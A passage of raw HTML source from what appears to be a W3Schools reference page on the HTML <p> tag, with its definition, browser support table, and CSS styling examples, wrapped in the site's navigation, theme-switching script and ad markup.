'event', 'spacesFromTutorialsAcc', 'click');" title="Get Your Own Website With W3schools Spaces">Spaces</a> <a class="w3-button w3-block" style="font-size:22px;" target="_blank" href="https://www.w3schools.com/videos/index.php" onclick="ga('send', 'event', 'Videos' , 'fromTopnavMain')" title="Video Tutorials">Videos</a> <a class="w3-button w3-block" style="font-size:22px;" href="https://shop.w3schools.com" target="_blank">Shop</a> <a class="w3-button w3-block" style="font-size:22px;" href="/pro/index.php">Pro</a> </div> </div> <script> ( function setThemeCheckboxes() { var x = localStorage.getItem("preferredmode"); var y = localStorage.getItem("preferredpagemode"); if (x == "dark") { document.getElementById("radio_darkcode").checked = true; } if (y == "dark") { document.getElementById("radio_darkpage").checked = true; } })(); function mouseoverdarkicon() { if(window.matchMedia("(pointer: coarse)").matches) { return false; } var a = document.getElementById("darkmodemenu"); a.style.top = "44px"; } function mouseoutofdarkicon() { var a = document.getElementById("darkmodemenu"); a.style.top = "-40px"; } function changepagetheme(n) { var a = document.getElementById("radio_darkcode"); var b = document.getElementById("radio_darkpage"); document.body.className = document.body.className.replace("darktheme", ""); document.body.className = document.body.className.replace("darkpagetheme", ""); document.body.className = document.body.className.replace(" ", " "); if (a.checked && b.checked) { localStorage.setItem("preferredmode", "light"); localStorage.setItem("preferredpagemode", "light"); a.checked = false; b.checked = false; } else { document.body.className += " darktheme"; document.body.className += " darkpagetheme"; localStorage.setItem("preferredmode", "dark"); localStorage.setItem("preferredpagemode", "dark"); a.checked = true; b.checked = true; } } function click_darkpage() { var b = document.getElementById("radio_darkpage"); if (b.checked) { document.body.className += " darkpagetheme"; document.body.className = document.body.className.replace(" ", " "); localStorage.setItem("preferredpagemode", "dark"); } else { document.body.className = document.body.className.replace("darkpagetheme", ""); document.body.className = document.body.className.replace(" ", " "); localStorage.setItem("preferredpagemode", "light"); } } function click_darkcode() { var a = document.getElementById("radio_darkcode"); if (a.checked) { document.body.className += " darktheme"; document.body.className = document.body.className.replace(" ", " "); localStorage.setItem("preferredmode", "dark"); } else { document.body.className = document.body.className.replace("darktheme", ""); document.body.className = document.body.className.replace(" ", " "); localStorage.setItem("preferredmode", "light"); } } </script> <div class="w3-sidebar w3-collapse" id="sidenav" style="top: 44px; display: none;"> <div id="leftmenuinner" style="padding-top: 44px;"> <div id="leftmenuinnerinner"> <!-- <a href='javascript:void(0)' onclick='close_menu()' class='w3-button w3-hide-large w3-large w3-display-topright' style='right:16px;padding:3px 12px;font-weight:bold;'>×</a>--> <h2 class="left"><span class="left_h2">HTML</span> Reference</h2> <a target="_top" href="default.asp">HTML by Alphabet</a> <a target="_top" href="ref_byfunc.asp">HTML by Category</a> <a target="_top" href="ref_html_browsersupport.asp">HTML Browser Support</a> <a target="_top" href="ref_attributes.asp">HTML Attributes</a> <a target="_top" href="ref_standardattributes.asp">HTML Global Attributes</a> <a target="_top" href="ref_eventattributes.asp">HTML Events</a> <a target="_top" href="ref_colornames.asp">HTML Colors</a> <a target="_top" href="ref_canvas.asp">HTML Canvas</a> <a target="_top" href="ref_av_dom.asp">HTML Audio/Video</a> <a target="_top" href="ref_charactersets.asp">HTML Character Sets</a> <a target="_top" href="ref_html_dtd.asp">HTML Doctypes</a> <a target="_top" href="ref_urlencode.asp">HTML URL Encode</a> <a target="_top" href="ref_language_codes.asp">HTML Language Codes</a> <a target="_top" href="ref_country_codes.asp">HTML Country Codes</a> <a target="_top" href="ref_httpmessages.asp">HTTP Messages</a> <a target="_top" href="ref_httpmethods.asp">HTTP Methods</a> <a target="_top" href="ref_pxtoemconversion.asp">PX to EM Converter</a> <a target="_top" href="ref_keyboardshortcuts.asp">Keyboard Shortcuts</a> <br> <div class="notranslate"> <h2 class="left"><span class="left_h2">HTML</span> Tags</h2> <a target="_top" href="tag_comment.asp"><!--></a> <a target="_top" href="tag_doctype.asp"><!DOCTYPE></a> <a target="_top" href="tag_a.asp"><a></a> <a target="_top" href="tag_abbr.asp"><abbr></a> <a target="_top" href="tag_acronym.asp"><acronym></a> <a target="_top" href="tag_address.asp"><address></a> <a target="_top" href="tag_applet.asp"><applet></a> <a target="_top" href="tag_area.asp"><area></a> <a target="_top" href="tag_article.asp"><article></a> <a target="_top" href="tag_aside.asp"><aside></a> <a target="_top" href="tag_audio.asp"><audio></a> <a target="_top" href="tag_b.asp"><b></a> <a target="_top" href="tag_base.asp"><base></a> <a target="_top" href="tag_basefont.asp"><basefont></a> <a target="_top" href="tag_bdi.asp"><bdi></a> <a target="_top" href="tag_bdo.asp"><bdo></a> <a target="_top" href="tag_big.asp"><big></a> <a target="_top" href="tag_blockquote.asp"><blockquote></a> <a target="_top" href="tag_body.asp"><body></a> <a target="_top" href="tag_br.asp"><br></a> <a target="_top" href="tag_button.asp"><button></a> <a target="_top" href="tag_canvas.asp"><canvas></a> <a target="_top" href="tag_caption.asp"><caption></a> <a target="_top" href="tag_center.asp"><center></a> <a target="_top" href="tag_cite.asp"><cite></a> <a target="_top" href="tag_code.asp"><code></a> <a target="_top" href="tag_col.asp"><col></a> <a target="_top" href="tag_colgroup.asp"><colgroup></a> <a target="_top" href="tag_data.asp"><data></a> <a target="_top" href="tag_datalist.asp"><datalist></a> <a target="_top" href="tag_dd.asp"><dd></a> <a target="_top" href="tag_del.asp"><del></a> <a target="_top" href="tag_details.asp"><details></a> <a target="_top" href="tag_dfn.asp"><dfn></a> <a target="_top" href="tag_dialog.asp"><dialog></a> <a target="_top" href="tag_dir.asp"><dir></a> <a target="_top" href="tag_div.asp"><div></a> <a target="_top" href="tag_dl.asp"><dl></a> <a target="_top" href="tag_dt.asp"><dt></a> <a target="_top" href="tag_em.asp"><em></a> <a target="_top" href="tag_embed.asp"><embed></a> <a target="_top" href="tag_fieldset.asp"><fieldset></a> <a target="_top" href="tag_figcaption.asp"><figcaption></a> <a target="_top" href="tag_figure.asp"><figure></a> <a target="_top" href="tag_font.asp"><font></a> <a target="_top" href="tag_footer.asp"><footer></a> <a target="_top" href="tag_form.asp"><form></a> <a target="_top" href="tag_frame.asp"><frame></a> <a target="_top" href="tag_frameset.asp"><frameset></a> <a target="_top" href="tag_hn.asp"><h1> - <h6></a> <a target="_top" href="tag_head.asp"><head></a> <a target="_top" href="tag_header.asp"><header></a> <a target="_top" href="tag_hr.asp"><hr></a> <a target="_top" href="tag_html.asp"><html></a> <a target="_top" href="tag_i.asp"><i></a> <a target="_top" href="tag_iframe.asp"><iframe></a> <a target="_top" href="tag_img.asp"><img></a> <a target="_top" href="tag_input.asp"><input></a> <a target="_top" href="tag_ins.asp"><ins></a> <a target="_top" href="tag_kbd.asp"><kbd></a> <a target="_top" href="tag_label.asp"><label></a> <a target="_top" href="tag_legend.asp"><legend></a> <a target="_top" href="tag_li.asp"><li></a> <a target="_top" href="tag_link.asp"><link></a> <a target="_top" href="tag_main.asp"><main></a> <a target="_top" href="tag_map.asp"><map></a> <a target="_top" href="tag_mark.asp"><mark></a> <a target="_top" href="tag_meta.asp"><meta></a> <a target="_top" href="tag_meter.asp"><meter></a> <a target="_top" href="tag_nav.asp"><nav></a> <a target="_top" href="tag_noframes.asp"><noframes></a> <a target="_top" href="tag_noscript.asp"><noscript></a> <a target="_top" href="tag_object.asp"><object></a> <a target="_top" href="tag_ol.asp"><ol></a> <a target="_top" href="tag_optgroup.asp"><optgroup></a> <a target="_top" href="tag_option.asp"><option></a> <a target="_top" href="tag_output.asp"><output></a> <a target="_top" href="tag_p.asp" class="active"><p></a> <a target="_top" href="tag_param.asp"><param></a> <a target="_top" href="tag_picture.asp"><picture></a> <a target="_top" href="tag_pre.asp"><pre></a> <a target="_top" href="tag_progress.asp"><progress></a> <a target="_top" href="tag_q.asp"><q></a> <a target="_top" href="tag_rp.asp"><rp></a> <a target="_top" href="tag_rt.asp"><rt></a> <a target="_top" href="tag_ruby.asp"><ruby></a> <a target="_top" href="tag_s.asp"><s></a> <a target="_top" href="tag_samp.asp"><samp></a> <a target="_top" href="tag_script.asp"><script></a> <a target="_top" href="tag_section.asp"><section></a> <a target="_top" href="tag_select.asp"><select></a> <a target="_top" href="tag_small.asp"><small></a> <a target="_top" href="tag_source.asp"><source></a> <a target="_top" href="tag_span.asp"><span></a> <a target="_top" href="tag_strike.asp"><strike></a> <a target="_top" href="tag_strong.asp"><strong></a> <a target="_top" href="tag_style.asp"><style></a> <a target="_top" href="tag_sub.asp"><sub></a> <a target="_top" href="tag_summary.asp"><summary></a> <a target="_top" href="tag_sup.asp"><sup></a> <a target="_top" href="tag_svg.asp"><svg></a> <a target="_top" href="tag_table.asp"><table></a> <a target="_top" href="tag_tbody.asp"><tbody></a> <a target="_top" href="tag_td.asp"><td></a> <a target="_top" href="tag_template.asp"><template></a> <a target="_top" href="tag_textarea.asp"><textarea></a> <a target="_top" href="tag_tfoot.asp"><tfoot></a> <a target="_top" href="tag_th.asp"><th></a> <a target="_top" href="tag_thead.asp"><thead></a> <a target="_top" href="tag_time.asp"><time></a> <a target="_top" href="tag_title.asp"><title></a> <a target="_top" href="tag_tr.asp"><tr></a> <a target="_top" href="tag_track.asp"><track></a> <a target="_top" href="tag_tt.asp"><tt></a> <a target="_top" href="tag_u.asp"><u></a> <a target="_top" href="tag_ul.asp"><ul></a> <a target="_top" href="tag_var.asp"><var></a> <a target="_top" href="tag_video.asp"><video></a> <a target="_top" href="tag_wbr.asp"><wbr></a> </div> <br><br> </div> </div> </div> <div class="w3-main w3-light-grey" id="belowtopnav" style="margin-left: 220px; padding-top: 44px;"> <div class="w3-row w3-white"> <div class="w3-col l10 m12" id="main"> <div id="mainLeaderboard" style="overflow:hidden;"> <!-- MainLeaderboard--> <!--<pre>main_leaderboard, all: [728,90][970,90][320,50][468,60]</pre>--> <div id="adngin-main_leaderboard-0" data-google-query-id="CJPA_sueqvcCFXiOSwUd2fYBLg"><div id="google_ads_iframe_/22152718,16833175/sws-hb//w3schools.com//main_leaderboard_1__container__" style="border: 0pt none;"><iframe id="google_ads_iframe_/22152718,16833175/sws-hb//w3schools.com//main_leaderboard_1" name="google_ads_iframe_/22152718,16833175/sws-hb//w3schools.com//main_leaderboard_1" title="3rd party ad content" width="728" height="90" scrolling="no" marginwidth="0" marginheight="0" frameborder="0" role="region" aria-label="Advertisement" tabindex="0" srcdoc="" data-google-container-id="7" style="border: 0px; vertical-align: bottom;" data-load-complete="true"><div style="position: absolute; width: 0px; height: 0px; border: 0px; padding: 0px; margin: 0px; overflow: hidden;"><button></button><a href="https://yahoo.com"></a><input></div></iframe></div></div> <!-- adspace leaderboard --> </div> <h1>HTML <span class="color_h1"><p></span> Tag</h1> <div class="w3-clear w3-center nextprev"> <a class="w3-left w3-btn" href="tag_output.asp">❮<span class="w3-hide-small"> Previous</span></a> <a class="w3-btn" href="default.asp"><span class="w3-hide-small">Complete HTML </span>Reference</a> <a class="w3-right w3-btn" href="tag_param.asp"><span class="w3-hide-small">Next </span>❯</a> </div> <br> <div class="w3-example"> <h3>Example</h3> <p>A paragraph is marked up as follows:</p> <div class="w3-code notranslate htmlHigh"> <span class="tagnamecolor" style="color:brown"><span class="tagcolor" style="color:mediumblue"><</span>p<span class="tagcolor" style="color:mediumblue">></span></span>This is some text in a paragraph.<span class="tagnamecolor" style="color:brown"><span class="tagcolor" style="color:mediumblue"><</span>/p<span class="tagcolor" style="color:mediumblue">></span></span> </div> <a target="_blank" href="tryit.asp?filename=tryhtml_paragraphs1" class="w3-btn w3-margin-bottom">Try it Yourself »</a> </div> <p>More "Try it Yourself" examples below.</p> <hr> <h2>Definition and Usage</h2> <p>The <code class="w3-codespan"><p></code> tag defines a paragraph.</p> <p>Browsers automatically add a single blank line before and after each <code class="w3-codespan"><p></code> element.</p> <p><strong>Tip:</strong> Use CSS to <a href="/html/html_css.asp">style paragraphs</a>.</p> <hr> <h2>Browser Support</h2> <table class="browserref notranslate"> <tbody><tr> <th style="width:20%;font-size:16px;text-align:left;">Element</th> <th style="width:16%;" class="bsChrome" title="Chrome"></th> <th style="width:16%;" class="bsEdge" title="Internet Explorer / Edge"></th> <th style="width:16%;" class="bsFirefox" title="Firefox"></th> <th style="width:16%;" class="bsSafari" title="Safari"></th> <th style="width:16%;" class="bsOpera" title="Opera"></th> </tr><tr> <td style="text-align:left;"><p></td> <td>Yes</td> <td>Yes</td> <td>Yes</td> <td>Yes</td> <td>Yes</td> </tr> </tbody></table> <hr> <h2>Global Attributes</h2> <p>The <code class="w3-codespan"><p></code> tag also supports the <a href="ref_standardattributes.asp">Global Attributes in HTML</a>.</p> <hr> <h2>Event Attributes</h2> <p>The <code class="w3-codespan"><p></code> tag also supports the <a href="ref_eventattributes.asp">Event Attributes in HTML</a>.</p> <hr> <div id="midcontentadcontainer" style="overflow:auto;text-align:center"> <!-- MidContent --> <!-- <p class="adtext">Advertisement</p> --> <div id="adngin-mid_content-0" data-google-query-id="CKfs_8ueqvcCFXiOSwUd2fYBLg"><div id="sn_ad_label_adngin-mid_content-0" class="sn_ad_label" style="color:#000000;font-size:12px;margin:0;text-align:center;">ADVERTISEMENT</div><div id="google_ads_iframe_/22152718,16833175/sws-hb//w3schools.com//mid_content_1__container__" style="border: 0pt none; display: inline-block; width: 300px; height: 250px;"><iframe frameborder="0" src="https://56d0da6c34aaa471db22bb4266aac656.safeframe.googlesyndication.com/safeframe/1-0-38/html/container.html" id="google_ads_iframe_/22152718,16833175/sws-hb//w3schools.com//mid_content_1" title="3rd party ad content" name="" scrolling="no" marginwidth="0" marginheight="0" width="300" height="250" data-is-safeframe="true" sandbox="allow-forms allow-popups allow-popups-to-escape-sandbox allow-same-origin allow-scripts allow-top-navigation-by-user-activation" role="region" aria-label="Advertisement" tabindex="0" data-google-container-id="8" style="border: 0px; vertical-align: bottom;" data-load-complete="true"></iframe></div></div> </div> <hr> <h2>More Examples</h2> <div class="w3-example"> <h3>Example</h3> <p>Align text in a paragraph (with CSS):</p> <div class="w3-code notranslate htmlHigh"> <span class="tagnamecolor" style="color:brown"><span class="tagcolor" style="color:mediumblue"><</span>p<span class="attributecolor" style="color:red"> style<span class="attributevaluecolor" style="color:mediumblue">="text-align:right"</span></span><span class="tagcolor" style="color:mediumblue">></span></span>This is some text in a paragraph.<span class="tagnamecolor" style="color:brown"><span class="tagcolor" style="color:mediumblue"><</span>/p<span class="tagcolor" style="color:mediumblue">></span></span> </div> <a target="_blank" href="tryit.asp?filename=tryhtml_p_align_css" class="w3-btn w3-margin-bottom">Try it Yourself »</a> </div> <div class="w3-example"> <h3>Example</h3> <p>Style paragraphs with CSS:</p> <div class="w3-code notranslate htmlHigh"> <span class="tagnamecolor" style="color:brown"><span class="tagcolor" style="color:mediumblue"><</span>html<span class="tagcolor" style="color:mediumblue">></span></span><br><span class="tagnamecolor" style="color:brown"><span class="tagcolor" style="color:mediumblue"><</span>head<span class="tagcolor" style="color:mediumblue">></span></span><br><span class="tagnamecolor" style="color:brown"><span class="tagcolor" style="color:mediumblue"><</span>style<span class="tagcolor" style="color:mediumblue">></span></span><span class="cssselectorcolor" style="color:brown"><br>p <span class="cssdelimitercolor" style="color:black">{</span><span class="csspropertycolor" style="color:red"><br> color<span class="csspropertyvaluecolor" style="color:mediumblue"><span class="cssdelimitercolor" style="color:black">:</span> navy<span class="cssdelimitercolor" style="color:black">;</span></span><br> text-indent<span class="csspropertyvaluecolor" style="color:mediumblue"><span class="cssdelimitercolor" style="color:black">:</span> 30px<span class="cssdelimitercolor" style="color:black">;</span></span><br> text-transform<span class="csspropertyvaluecolor" style="color:mediumblue"><span class="cssdelimitercolor" style="color:black">:</span> uppercase<span class="cssdelimitercolor" style="color:black">;</span></span><br></span><span class="cssdelimitercolor" style="color:black">}</span><br></span><span class="tagnamecolor" style="color:brown"><span class="tagcolor" style="color:mediumblue"><</span>/style<span class="tagcolor" style="color:mediumblue">></span></span><br> <span class="tagnamecolor" style="color:brown"><span class="tagcolor" style="color:mediumblue"><</span>/head<span class="tagcolor" style="color:mediumblue">></span></span><br><span class="tagnamecolor" style="color:brown"><span class="tagcolor" style="color:mediumblue"><</span>body<span class="tagcolor" style="color:mediumblue">></span></span><br><br><span class="tagnamecolor" style="color:brown"><span class="tagcolor" style="color:mediumblue"><</span>p<span class="tagcolor" style="color:mediumblue">></span></span>Lorem ipsum dolor sit amet, consectetur adipiscing elit, sed do eiusmod tempor incididunt ut labore et dolore magna aliqua. Ut enim ad minim veniam, quis nostrud exercitation ullamco laboris nisi ut aliquip ex ea commodo consequat. Duis aute irure dolor in reprehenderit in voluptate velit esse cillum dolore eu fugiat nulla pariatur. Excepteur sint occaecat cupidatat non proident, sunt in culpa qui officia deserunt mollit anim id est laborum.<span class="tagnamecolor" style="color:brown"><span class="tagcolor" style="color:mediumblue"><</span>/p<span class="tagcolor" style="color:mediumblue">></span></span><br><br><span class="tagnamecolor" style="color:brown"><span class="tagcolor" style="color:mediumblue"><</span>/body<span class="tagcolor" style="color:mediumblue">></span></span><br><span class="tagnamecolor" style="color:brown"><span class="tagcolor" style="color:mediumblue"><</span>/html<span class="tagcolor" style="color:mediumblue">></span></span> </div> <a target="_blank" href="tryit.asp?filename=tryhtml_p_style_css" class="w3-btn w3-margin-bottom">Try it Yourself »</a> </div> <div class="w3-example"> <h3>Example</h3> <p> More on paragraphs:</p> <div class="w3-code notranslate htmlHigh"> <span class="tagnamecolor" style="color:brown"><span class="tagcolor" style="color:mediumblue"><</span>p<span class="tagcolor" style="color:mediumblue">></span></span><br>This paragraph<br>contains a lot of lines<br>in the source code,<br> but the browser <br>ignores it.<br><span class="tagnamecolor" style="color:brown"><span class="tagcolor" style="color:mediumblue"><</span>/p<span class="tagcolor" style="color:mediumblue">></span></span> </div> <a target="_blank" href="tryit.asp?filename=tryhtml_paragraphs2" class="w3-btn w3-margin-bottom">Try it Yourself »</a> </div> <div class="w3-example"> <h3>Example</h3> <p>Poem problems in HTML:</p> <div class="w3-code notranslate htmlHigh"> <span class="tagnamecolor" style="color:brown"><span class="tagcolor" style="color:mediumblue"><</span>p<span class="tagcolor" style="color:mediumblue">></span></span><br>My Bonnie lies over the ocean.<br>My Bonnie lies over the sea.<br>My Bonnie lies over the ocean.<br>Oh, bring back my Bonnie to me.<br><span class="tagnamecolor" style="color:brown"><span class="tagcolor" style="color:mediumblue"><</span>/p<span class="tagcolor" style="color:mediumblue">></span></span> </div> <a target="_blank" href="tryit.asp?filename=tryhtml_poem" class="w3-btn w3-margin-bottom">Try it Yourself »</a> </div> <hr> <h2>Related Pages</h2> <p>HTML tutorial: <a href="/html/html_paragraphs.asp">HTML Paragraphs</a></p> <p>HTML DOM reference: <a href="/jsref/dom_obj_paragraph.asp">Paragraph Object</a></p> <hr> <h2>Default CSS Settings</h2> <p>Most browsers will display the <code class="w3-codespan"><p></code> element with the following default values:</p> <div class="w3-example"> <h3>Example</h3> <div class="w3-code notranslate cssHigh"><span class="cssselectorcolor" style="color:brown"> p <span class="cssdelimitercolor" style="color:black">{</span><span class="csspropertycolor" style="color:red"><br> display<span class="csspropertyvaluecolor" style="color:mediumblue"><span class="cssdelimitercolor" style="color:black">:</span> block<span class="cssdelimitercolor" style="color:black">;</span></span><br> margin-top<span class="csspropertyvaluecolor" style="color:mediumblue"><span class="cssdelimitercolor" style="color:black">:</span> 1em<span class="cssdelimitercolor" style="color:black">;</span></span><br> margin-bottom<span class="csspropertyvaluecolor" style="color:mediumblue"><span class="cssdelimitercolor" style="color:black">:</span> 1em<span class="cssdelimitercolor" style="color:black">;</span></span><br> margin-left<span class="csspropertyvaluecolor" style="color:mediumblue"><span class="cssdelimitercolor" style="color:black">:</span> 0<span class="cssdelimitercolor" style="color:black">;</span></span><br> margin-right<span class="csspropertyvaluecolor" style="color:mediumblue"><span class="cssdelimitercolor" style="color:black">:</span> 0<span class="cssdelimitercolor" style="color:black">;</span></span><br></span><span class="cssdelimitercolor" style="color:black">}</span> </span></div> <a target="_blank" href="tryit.asp?filename=tryhtml_p_default_css" class="w3-btn w3-margin-bottom">Try it Yourself »</a> </div> <br> <br> <div class="w3-clear w3-center nextprev"> <a class="w3-left w3-btn" href="tag_output.asp">❮<span class="w3-hide-small"> Previous</span></a> <a class="w3-btn" href="default.asp"><span class="w3-hide-small">Complete HTML </span>Reference</a> <a class="w3-right w3-btn" href="tag_param.asp"><span class="w3-hide-small">Next </span>❯</a> </div> <div id="mypagediv2" style="position:relative;text-align:center;"></div> <br> </div> <div class="w3-col l2 m12" id="right"> <div class="sidesection"> <div id="skyscraper"> <div id="adngin-sidebar_top-0" data-google-query-id="CJXA_sueqvcCFXiOSwUd2fYBLg"><div id="sn_ad_label_adngin-sidebar_top-0" class="sn_ad_label" style="color:#000000;font-size:12px;margin:0;text-align:center;">ADVERTISEMENT</div><div id="google_ads_iframe_/22152718,16833175/sws-hb//w3schools.com//wide_skyscraper_1__container__" style="border: 0pt none;"><iframe id="google_ads_iframe_/22152718,16833175/sws-hb//w3schools.com//wide_skyscraper_1" name="google_ads_iframe_/22152718,16833175/sws-hb//w3schools.com//wide_skyscraper_1" title="3rd party ad content" width="320" height="50" scrolling="no" marginwidth="0" marginheight="0" frameborder="0" role="region" aria-label="Advertisement" tabindex="0" srcdoc="" data-google-container-id="9" style="border: 0px; vertical-align: bottom;" data-load-complete="true"></iframe></div></div> </div> </div> <style> .ribbon-vid { font-size:12px; font-weight:bold; padding: 6px 20px; left:-20px; top:-10px; text-align: center; color:black; border-radius:25px; } </style> <div class="sidesection" id="video_sidesection"> <div class="w3-center" style="padding-bottom:7px"> <span class="ribbon-vid ws-yellow">NEW</span> </div> <p style="font-size: 14px;line-height: 1.5;font-family: Source Sans Pro;padding-left:4px;padding-right:4px;">We just launched<br>W3Schools videos</p> <a onclick="ga('send', 'event', 'Videos' , 'fromSidebar');" href="https://www.w3schools.com/videos/index.php" class="w3-hover-opacity"><img src="/images/htmlvideoad_footer.png" style="max-width:100%;padding:5px 10px 25px 10px" loading="lazy"></a> <a class="ws-button" style="font-size:16px;text-decoration: none !important;display: block !important; color:#FFC0C7!important; width: 100%; border-bottom-left-radius: 5px; border-bottom-right-radius: 5px; paxdding-top: 10px; padding-bottom: 20px; font-family: 'Source Sans Pro', sans-serif; text-align: center;" onclick="ga('send', 'event', 'Videos' , 'fromSidebar');" href="https://www.w3schools.com/videos/index.php">Explore now</a> </div> <div class="sidesection"> <h4><a href="/colors/colors_picker.asp">COLOR PICKER</a></h4> <a href="/colors/colors_picker.asp"> <img src="/images/colorpicker2000.png" alt="colorpicker" loading="lazy"> </a> </div> <div class="sidesection"> <!--<h4>LIKE US</h4>--> <div class="sharethis" style="visibility: visible;"> <a href="https://www.facebook.com/w3schoolscom/" target="_blank" title="Facebook"><span class="fa fa-facebook-square fa-2x"></span></a> <a href="https://www.instagram.com/w3schools.com_official/" target="_blank" title="Instagram"><span class="fa fa-instagram fa-2x"></span></a> <a href="https://www.linkedin.com/company/w3schools.com/" target="_blank" title="LinkedIn"><span class="fa fa-linkedin-square fa-2x"></span></a> <a href="https://discord.gg/6Z7UaRbUQM" target="_blank" title="Join the W3schools community on Discord"><span class="fa fa-discord fa-2x"></span></a> </div> </div> <!-- <div class="sidesection" style="border-radius:5px;color:#555;padding-top:1px;padding-bottom:8px;margin-left:auto;margin-right:auto;max-width:230px;background-color:#d4edda"> <p>Get your<br>certification today!</p> <a href="/cert/default.asp" target="_blank"> <img src="/images/w3certified_logo_250.png" style="margin:0 12px 20px 10px;max-width:80%"> </a> <a class="w3-btn w3-margin-bottom" style="text-decoration:none;border-radius:5px;" href="/cert/default.asp" target="_blank">View options</a> </div> --> <style> #courses_get_started_btn { text-decoration:none !important; background-color:#04AA6D; width:100%; border-bottom-left-radius:5px; border-bottom-right-radius:5px; padding-top:10px; padding-bottom:10px; font-family: 'Source Sans Pro', sans-serif; } #courses_get_started_btn:hover { background-color:#059862!important; } </style> <div id="internalCourses" class="sidesection"> <p style="font-size:18px;padding-left:2px;padding-right:2px;">Get certified<br>by completing<br>a course today!</p> <a href="https://courses.w3schools.com" target="_blank" onclick="ga('send', 'event', 'Courses' , 'Clicked on courses banner in ads column');"> <div style="padding:0 20px 20px 20px"> <svg id="w3_cert_badge2" style="margin:auto;width:85%" data-name="w3_cert_badge2" xmlns="http://www.w3.org/2000/svg" viewBox="0 0 300 300"><defs><style>.cls-1{fill:#04aa6b;}.cls-2{font-size:23px;}.cls-2,.cls-3,.cls-4{fill:#fff;}.cls-2,.cls-3{font-family:RobotoMono-Medium, Roboto Mono;font-weight:500;}.cls-3{font-size:20.08px;}</style></defs><circle class="cls-1" cx="150" cy="150" r="146.47" transform="translate(-62.13 150) rotate(-45)"></circle><text class="cls-2" transform="translate(93.54 63.89) rotate(-29.5)">w</text><text class="cls-2" transform="translate(107.13 56.35) rotate(-20.8)">3</text><text class="cls-2" transform="matrix(0.98, -0.21, 0.21, 0.98, 121.68, 50.97)">s</text><text class="cls-2" transform="translate(136.89 47.84) rotate(-3.47)">c</text><text class="cls-2" transform="translate(152.39 47.03) rotate(5.12)">h</text><text class="cls-2" transform="translate(167.85 48.54) rotate(13.72)">o</text><text class="cls-2" transform="translate(182.89 52.35) rotate(22.34)">o</text><text class="cls-2" transform="matrix(0.86, 0.52, -0.52, 0.86, 197.18, 58.36)">l</text><text class="cls-2" transform="matrix(0.77, 0.64, -0.64, 0.77, 210.4, 66.46)">s</text><text class="cls-3" transform="translate(35.51 186.66) rotate(69.37)"> </text><text class="cls-3" transform="matrix(0.47, 0.88, -0.88, 0.47, 41.27, 201.28)">C</text><text class="cls-3" transform="matrix(0.58, 0.81, -0.81, 0.58, 48.91, 215.03)">E</text><text class="cls-3" transform="matrix(0.67, 0.74, -0.74, 0.67, 58.13, 227.36)">R</text><text class="cls-3" transform="translate(69.16 238.92) rotate(39.44)">T</text><text class="cls-3" transform="matrix(0.85, 0.53, -0.53, 0.85, 81.47, 248.73)">I</text><text class="cls-3" transform="translate(94.94 256.83) rotate(24.36)">F</text><text class="cls-3" transform="translate(109.34 263.09) rotate(16.83)">I</text><text class="cls-3" transform="translate(124.46 267.41) rotate(9.34)">E</text><text class="cls-3" transform="translate(139.99 269.73) rotate(1.88)">D</text><text class="cls-3" transform="translate(155.7 270.01) rotate(-5.58)"> </text><text class="cls-3" transform="translate(171.32 268.24) rotate(-13.06)"> </text><text class="cls-2" transform="translate(187.55 266.81) rotate(-21.04)">.</text><text class="cls-3" transform="translate(203.27 257.7) rotate(-29.24)"> </text><text class="cls-3" transform="translate(216.84 249.83) rotate(-36.75)"> </text><text class="cls-3" transform="translate(229.26 240.26) rotate(-44.15)">2</text><text class="cls-3" transform="translate(240.39 229.13) rotate(-51.62)">0</text><text class="cls-3" transform="translate(249.97 216.63) rotate(-59.17)">2</text><text class="cls-3" transform="matrix(0.4, -0.92, 0.92, 0.4, 257.81, 203.04)">2</text><path class="cls-4" d="M196.64,136.31s3.53,3.8,8.5,3.8c3.9,0,6.75-2.37,6.75-5.59,0-4-3.64-5.81-8-5.81h-2.59l-1.53-3.48,6.86-8.13a34.07,34.07,0,0,1,2.7-2.85s-1.11,0-3.33,0H194.79v-5.86H217.7v4.28l-9.19,10.61c5.18.74,10.24,4.43,10.24,10.92s-4.85,12.3-13.19,12.3a17.36,17.36,0,0,1-12.41-5Z"></path><path class="cls-4" d="M152,144.24l30.24,53.86,14.94-26.61L168.6,120.63H135.36l-13.78,24.53-13.77-24.53H77.93l43.5,77.46.15-.28.16.28Z"></path></svg> </div> </a> <a class="w3-btn" id="courses_get_started_btn" href="https://courses.w3schools.com" target="_blank" onclick="ga('send', 'event', 'Courses' , 'Clicked on courses banner in ads column');">Get started</a> </div> <!-- <div class="sidesection" style="margin-left:auto;margin-right:auto;max-width:230px"> <a href="https://shop.w3schools.com/" target="_blank" title="Buy W3Schools Merchandize"> <img src="/images/tshirt.jpg" style="max-width:100%;"> </a> </div> --> <div class="sidesection" id="moreAboutSubject"> </div> <!-- <div id="sidesection_exercise" class="sidesection" style="background-color:#555555;max-width:200px;margin:auto;margin-bottom:32px"> <div class="w3-container w3-text-white"> <h4>Exercises</h4> </div> <div> <div class="w3-light-grey"> <a target="_blank" href="/html/exercise.asp" style="padding-top:8px">HTML</a> <a target="_blank" href="/css/exercise.asp">CSS</a> <a target="_blank" href="/js/exercise_js.asp">JavaScript</a> <a target="_blank" href="/sql/exercise.asp">SQL</a> <a target="_blank" href="/php/exercise.asp">PHP</a> <a target="_blank" href="/python/exercise.asp">Python</a> <a target="_blank" href="/bootstrap/exercise_bs3.asp">Bootstrap</a> <a target="_blank" href="/jquery/exercise_jq.asp" style="padding-bottom:8px">jQuery</a> </div> </div> </div> --> <div class="sidesection codegameright ws-turquoise" style="font-size:18px;font-family: 'Source Sans Pro', sans-serif;border-radius:5px;color:#FFC0C7;padding-top:12px;margin-left:auto;margin-right:auto;max-width:230px;"> <style> .codegameright .w3-btn:link,.codegameright .w3-btn:visited { background-color:#04AA6D; border-radius:5px; } .codegameright .w3-btn:hover,.codegameright .w3-btn:active { background-color:#059862!important; text-decoration:none!important; } </style> <h4><a href="/codegame/index.html" class="w3-hover-text-black">CODE GAME</a></h4> <a href="/codegame/index.html" target="_blank" class="w3-hover-opacity"><img style="max-width:100%;margin:16px 0;" src="/images/w3lynx_200.png" alt="Code Game" loading="lazy"></a> <a class="w3-btn w3-block ws-black" href="/codegame/index.html" target="_blank" style="padding-top:10px;padding-bottom:10px;margin-top:12px;border-top-left-radius: 0;border-top-right-radius: 0">Play Game</a> </div> <!-- <div class="sidesection w3-light-grey" style="margin-left:auto;margin-right:auto;max-width:230px"> <div class="w3-container w3-dark-grey"> <h4><a href="/howto/default.asp" class="w3-hover-text-white">HOW TO</a></h4> </div> <div class="w3-container w3-left-align w3-padding-16"> <a href="/howto/howto_js_tabs.asp">Tabs</a><br> <a 